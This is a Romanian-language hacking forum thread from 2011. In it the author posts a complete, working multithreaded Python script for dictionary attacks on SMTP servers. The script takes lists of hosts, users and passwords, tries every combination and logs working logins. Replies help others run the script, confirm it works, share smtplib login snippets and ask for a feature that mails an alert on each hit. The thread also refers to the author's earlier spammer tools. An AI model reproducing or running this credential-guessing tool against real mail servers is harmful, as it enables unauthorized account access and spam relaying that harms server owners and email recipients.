cmiN Posted March 21, 2011 Report Posted March 21, 2011 Postasem cu ceva vreme in urma un smtp spammer si un pop3 checker acum am facut si un brute pe liste care testeaza asincron smtp-uri generate / gasite de voi.Este scris cu simt de raspundere si cu cap nu ca restul vrajelilor care le-am vazut pe net. E destul de optim, nu va lua niciodata un host, user sau pass de 2 ori si nici nu va mai continua sa scaneze un smtp aiurea din moment ce i-a gasit o combinatie de user+pass care sa mearga. Testati-l pe smtp-uri care cer logare cu user sau pass acum depinde si de felul lui de a manevra situatiile (la esmtp mai face faze depinde cum primeste el ehlo si helo si cum reactioneaza la ele). Nu l-am facut compatibil si ssl era prea multa bataie de cap. E un dictionary attacker si nu un brute forcer, fiindca toate detaliile le preia de la user, el nu genereaza nimic. Cu generat mai sunt o sumedenie pe net si ia o tona de timp ... asa daca aveti chef faceti rapid cu un simplu backtracking niste liste de ipuri si cateva de usere si passuri.[ATENTIE]Ataca in felul urmator: pentru fiecare user, pentru fiecare pass, pentru fiecare smtp ramas in lista de scanat se incearca combinatia respectiva.Python code by cmiN - 77 lines - codepadPython 3.2#! /usr/bin/env python3.2# SMTP Dictionary Attack# 21.03.2011 cmiNfrom smtplib import SMTPfrom sys import argvimport threadingdef usage(): print("\tUsage: source.ext <hosts> <users> <words> <threads> [timeout]") print("Note that hosts, users and words are text files with <EOL> separated strings.") print("Threads is an integer.") print("Timeout is a float in seconds and is optional.") print("Example: smda.py hosts.txt C:\\users.txt /tmp/words.txt 10 1")def fill_vec(name, vec): count = 0 with open(name, "rt") as fin: for x in fin: y = x.strip() if not y in vec: vec.add(y) count += 1 return countclass SDA(threading.Thread): hvec = None timeout = None count = 0 fobj = None def __init__(self, user, word): threading.Thread.__init__(self) self.user = user self.word = word def run(self): for host in list(SDA.hvec): try: server = SMTP(host, timeout=SDA.timeout) server.login(self.user, self.word) server.quit() if host in SDA.hvec: SDA.hvec.remove(host) string = "%s %s %s\n" % (host, self.user, self.word) SDA.fobj.write(string) SDA.fobj.flush() SDA.count += 1 except: passdef process(hosts, users, words, threads, timeout=None): hvec, uvec, wvec = set(), set(), set() comp = fill_vec(hosts, hvec) * ((fill_vec(users, uvec) * fill_vec(words, wvec)) / threads) print("Processing %d requests per thread. Please wait..." % comp) SDA.hvec = hvec SDA.timeout = timeout SDA.fobj = open("working.txt", "at") for user in uvec: for word in wvec: while threading.active_count() > threads: pass SDA(user, word).start() while threading.active_count() > 1: pass SDA.fobj.write("=" * 50 + "\n") SDA.fobj.close() print("Finished! Were found %d working SMTPs (see 'working.txt')." % SDA.count)def main(): if len(argv) == 6: process(argv[1], argv[2], argv[3], int(argv[4]), float(argv[5])) elif len(argv) == 5: process(argv[1], argv[2], argv[3], int(argv[4])) else: usage()if __name__ == "__main__": main()EDIT: 25.03.2011 2 1 Quote
Flubber Posted March 22, 2011 Report Posted March 22, 2011 Thanks! Nu cumva era? #!/usr/bin/env python3.2# SMTP Dictionary Attack# 21.03.[B]2011[/B] cmiN +rep Quote
Zatarra Posted March 22, 2011 Report Posted March 22, 2011 Au fost bune serverele de proba? ;-)Oricum mersi, sa vedem ce stie.. Quote
BlonduBoss Posted April 16, 2011 Report Posted April 16, 2011 sa fac boala daca stiu sa il compilez si sa-l folosesc Quote
pr00f Posted April 16, 2011 Report Posted April 16, 2011 sa fac boala daca stiu sa il compilez si sa-l folosescNu trebuie compilat. Il salvezi ca atare in numefisier.py si dupa il rulezi din cmd cu "python path/to/numefisier.py". Bineinteles, ai nevoie de Python instalat. Quote
turnback Posted April 16, 2011 Report Posted April 16, 2011 sa fac boala daca stiu sa il compilez si sa-l folosescLet me google that for you probabil nici nu meriti... Quote
reiko Posted July 16, 2011 Report Posted July 16, 2011 -bash-3.1# python raw.py File "raw.py", line 18 with open(name, "rt") as fin: ^SyntaxError: invalid syntaxcareva ??? Quote
cmiN Posted July 16, 2011 Author Report Posted July 16, 2011 "#! /usr/bin/env python3.2" -> python3.xtu ai 2.x si nu-ti recunoaste "with" Quote
reiko Posted July 16, 2011 Report Posted July 16, 2011 (edited) okai ma pun sa instalez 3.x sa vedem ce iese.ms python3.2 x Usage: source.ext <hosts> <users> <words> <threads> [timeout]mersi inca o data Edited July 16, 2011 by reiko Quote
galford Posted September 20, 2011 Report Posted September 20, 2011 (edited) Testat si functioneaza. Totusi daca ai putea adauga si send email support. Sa foloseasca un *.html extern ca message body si intr-un alt fisier mail to: si mail from: etc etc. ar fi excelent.Greets from BZ. Edited September 21, 2011 by galford Quote
Guest Posted September 21, 2011 Report Posted September 21, 2011 chiar cautam unul. iar referitor la problema ta uite cum am rezolvat eu problema in sender-ul meusession = smtplib.SMTP(pula, "25")session.ehlosession.login(pula1, pula2)asta e pe logare simpla, iar pe ssl:session = smtplib.SMTP(pula, "25")session.ehlo()session.starttls()session.ehlosession.login(pula1, pula2) Quote
Guest Posted September 21, 2011 Report Posted September 21, 2011 Nu prea ai inteles. Vroiam atunci cand gaseste o combinatie buna (ip user pass) sa trimita un email catre un email predefinit cu mesajul extern gen test.html etc. Sa fie implementata asta in acest tool.problema de auth si ehlo nu de send Quote
galford Posted September 21, 2011 Report Posted September 21, 2011 ah .. intelesesem gresit then. Quote